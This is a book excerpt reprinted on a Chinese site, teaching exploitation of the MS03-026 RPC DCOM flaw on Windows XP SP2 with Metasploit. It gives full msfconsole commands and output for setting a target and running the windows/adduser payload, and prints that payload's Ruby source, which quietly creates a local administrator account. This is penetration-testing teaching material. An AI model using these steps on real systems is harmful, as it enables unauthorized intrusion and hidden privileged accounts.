《Metasploit渗透测试手册》—第3章3.3节 在Windows XP SP2上进行渗透测试8.7 使用Metasploit进行模糊测试

简介:

本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第3章3.3节 在Windows XP SP2上进行渗透测试8.7 使用Metasploit进行模糊测试,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。

3.3 在Windows XP SP2上进行渗透测试8.7 使用Metasploit进行模糊测试
Metasploit渗透测试手册
本节中我们将介绍如何使用Metasploit攻陷运行着Windows XP操作系统的目标机器,其中需要使用前面章节中讲到的一些命令,进一步选择漏洞利用代码和攻击载荷,并设置各种必需的参数。

准备
首先在msfconsole中进行渗透测试过程。启动控制台,扫描端口搜集目标机器的信息,前面已经详细讨论过端口扫描的相关内容,这里假设已搜集到目标机器的信息,并确定其运行的是Windows XP操作系统,接下来选择漏洞利用代码和攻击载荷。

怎样实现
若要在Windows XP SP2上进行渗透测试,需遵循如下步骤。

(1)主要目标是选择可用于Windows XP的漏洞利用代码,用户可以浏览/exploits/ window目录,或简单地搜索有哪些可用于Windows XP的漏洞利用代码。我们将使用RPC dcom漏洞对目标进行渗透,所以先对RPC dcom漏洞进行搜索,可使用如下命令。

msf  exploit(ms03_026_dcom) > search dcom
Matching Modules
================
  Name                   Disclosure Date   Rank  Description
  ----                   --------------    ---   -----------  
  exploit/windowsdcerpc/ms03_026_dcom    2003-07-16    great  Microsoft RPC 
xploit/windows/driver/broadcom_wifi_ssid  2006-11-11    low    Broadcom Wireless 
xploit/windows/smb/ms04_031_netdde     2004-10-12    good   Microsoft NetDDE

从结果可以看到,共搜索到3个相关的结果。选择使用第一个,因为该漏洞利用代码的评级为great,预示着使用该漏洞利用代码成功的几率更大。

(2)为将exploit/windows/dcerpc/ms03_026_dcom设置为可用的漏洞利用代码,可执行如下命令。

msf  exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_dcom 
msf  exploit(ms03_026_dcom) >

命令行提示符的改变表明该命令已经运行成功。

(3)下一步为该漏洞利用代码设置必要的参数,show options命令可以列出该漏洞利用代码的可用参数,之后使用set命令即可对参数进行设置,其中一些参数会有默认值。

msf  exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                      yes        The target address
   RPORT  135                yes        The target port
Exploit target:
   Id  Name
   --  ----
   0   Windows NT SP3-6a/2000/XP/2003 Universal

这里,RHOST用于指定远程目标主机的IP地址,RPORT用于指定默认的绑定端口。默认情况下,RPORT的值设置为135端口,我们需要将RHOST设置为实际的目标主机IP地址。

msf  exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf  exploit(ms03_026_dcom) >

注意ms03_026_dcom漏洞利用代码的ID设置为0,这意味着不需要指定目标上运行的具体Windows类型,本漏洞利用代码适用于该项目列出的所有Windows版本。其他的漏洞利用代码一般都需要使用show targets命令来选择目标操作系统。
目前,RHOST的值已经被设置为目标IP地址,如果此时运行漏洞利用代码,会产生错误消息,因为还没有为该漏洞利用代码选择攻击载荷。

(4)下一步选择合适的攻击载荷,可以使用命令show payloads列出所有可用的攻击载荷。这里选择使用简单的windows/adduser攻击载荷,其功能是在目标机器操作系统中添加新用户。

msf  exploit(ms03_026_dcom) > set PAYLOAD windows/adduser 
PAYLOAD => windows/adduser

(5)再次运行show options命令,将列出漏洞利用代码与攻击载荷的所有参数。攻击载荷参数形式如下所示。

Payload options (windows/adduser):
   Name      Current Setting  Required       Description
   ----      ---------------  --------       -----------
   EXITFUNC  thread          yes        seh, thread, process, 
none
   PASS      metasploit      yes        password for this user
   USER      metasploit       yes        The username to create

从结果可以看到,添加到目标操作系统中的缺省用户名和口令都是metasploit,如果要更改这些值,可以使用set PASS命令和set USER命令。

(6)攻击载荷已经设置完成,下面可以对目标机器进行渗透,使用下面的命令运行该漏洞利用代码。

msf  exploit(ms03_026_dcom) > exploit
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Sending exploit ...
[*] Exploit completed, but no session was created.

最后一行输出表明,漏洞利用代码在目标机器上已经成功运行完毕,并在其上添加了新用户。还可以看出,并没有创建新的会话,这是因为选用的攻击载荷是一个简单的adduser,该攻击载荷不需要活跃会话,因此,该漏洞利用代码运行后,与目标机器的连接即告终止。下一节将介绍如何使用攻击载荷建立会话。

怎样工作
在处理TCP/IP消息交换的RPC协议中存在漏洞,漏洞的成因是对畸形消息的处理存在错误,该漏洞影响分布式组件对象模型(DCOM)接口(该接口在激活了RPC的端口上进行监听),所以,需要在目标机器上存在运行RPC服务的可用端口。

该接口用于处理客户端向服务器发送的DCOM对象激活请求,成功利用该漏洞后,攻击者可在受影响系统上以本地系统权限运行任意代码,并在目标机器上执行某些操作,例如安装程序、查看/修改/删除数据,或创建高权限的用户账号。

要了解该漏洞的更多细节,可以参考如下的微软安全公告链接。

http://technet.microsoft.com/en-us/security/bulletin/ms03-026

为了理解adduser攻击载荷的工作机理,需要对该载荷的ruby代码进行分析,并找到如下位置。

root@bt:~#  cd  /pentest/exploits/framework3/modules/payloads/singles/
windows
root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows# 
less adduser.rb
观察下面的代码。

# Register command execution options
        register_options(

            [
                OptString.new('USER', [ true, "The 
username to create", "metasploit" ]),
                OptString.new('PASS', [ true, "The 
password for this user", "metasploit" ]),
            ], self.class)
          # Hide the CMD option
          deregister_options('CMD')
    end
    #
    # Override the exec command string
    #
    def command_string
         user = datastore['USER'] || 'metasploit'
         pass = datastore['PASS'] || ''

         if(pass.length > 14)
              raise ArgumentError, "Password for the adduser 
payload must be 14 characters or less"
         end

         return "cmd.exe /c net user #{user} #{pass} /ADD && " 
+
              "net localgroup Administrators #{user} /ADD"
    end

读者可以通过阅读#符号注释后面的介绍以理解代码的功能,上面的代码是简单。首先为用户名和口令注册相应值,然后隐藏CMD函数,以便在攻击载荷执行时不会出现在屏幕上,之后覆盖windows/exec载荷,传递参数值,并启动隐秘的命令提示符在后台执行相应命令。

读者可以根据需要对这段代码进行修改,这将有助于对攻击载荷的深入理解。

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

相关文章
|
2月前
|
Linux Shell 网络安全
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
本指南介绍如何利用 HTA 文件和 Metasploit 框架进行渗透测试。通过创建反向 shell、生成 HTA 文件、设置 HTTP 服务器和发送文件,最终实现对目标系统的控制。适用于教育目的,需合法授权。
85 9
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
|
2月前
|
安全 Ubuntu Linux
Metasploit Pro 4.22.6-2024111901 (Linux, Windows) - 专业渗透测试框架
Metasploit Pro 4.22.6-2024111901 (Linux, Windows) - 专业渗透测试框架
60 9
Metasploit Pro 4.22.6-2024111901 (Linux, Windows) - 专业渗透测试框架
|
3月前
|
人工智能 测试技术 Windows
Windows 竞技场:面向下一代AI Agent的测试集
【10月更文挑战第25天】随着人工智能的发展,大型语言模型(LLMs)在多模态任务中展现出巨大潜力。为解决传统基准测试的局限性,研究人员提出了Windows Agent Arena,一个在真实Windows操作系统中评估AI代理性能的通用环境。该环境包含150多个多样化任务,支持快速并行化评估。研究团队还推出了多模态代理Navi,在Windows领域测试中成功率达到19.5%。尽管存在局限性,Windows Agent Arena仍为AI代理的评估和研究提供了新机遇。
70 3
|
4月前
|
Windows
安装Windows XP系统
安装Windows XP系统
103 0
|
4月前
|
安全 Shell Linux
内网渗透测试基础——Windows PowerShell篇
内网渗透测试基础——Windows PowerShell篇
150 0
|
2月前
|
安全 关系型数据库 MySQL
Windows Server 安装 MySQL 8.0 详细指南
安装 MySQL 需要谨慎,特别注意安全配置和权限管理。根据实际业务需求调整配置,确保数据库的性能和安全。
211 9
|
3月前
|
网络安全 Windows
Windows server 2012R2系统安装远程桌面服务后无法多用户同时登录是什么原因?
【11月更文挑战第15天】本文介绍了在Windows Server 2012 R2中遇到的多用户无法同时登录远程桌面的问题及其解决方法,包括许可模式限制、组策略配置问题、远程桌面服务配置错误以及网络和防火墙问题四个方面的原因分析及对应的解决方案。
209 4
|
3月前
|
监控 安全 网络安全
使用EventLog Analyzer日志分析工具监测 Windows Server 安全威胁
Windows服务器面临多重威胁,包括勒索软件、DoS攻击、内部威胁、恶意软件感染、网络钓鱼、暴力破解、漏洞利用、Web应用攻击及配置错误等。这些威胁严重威胁服务器安全与业务连续性。EventLog Analyzer通过日志管理和威胁分析,有效检测并应对上述威胁,提升服务器安全性,确保服务稳定运行。
|
3月前
|
监控 安全 网络安全
Windows Server管理:配置与管理技巧
Windows Server管理:配置与管理技巧
135 3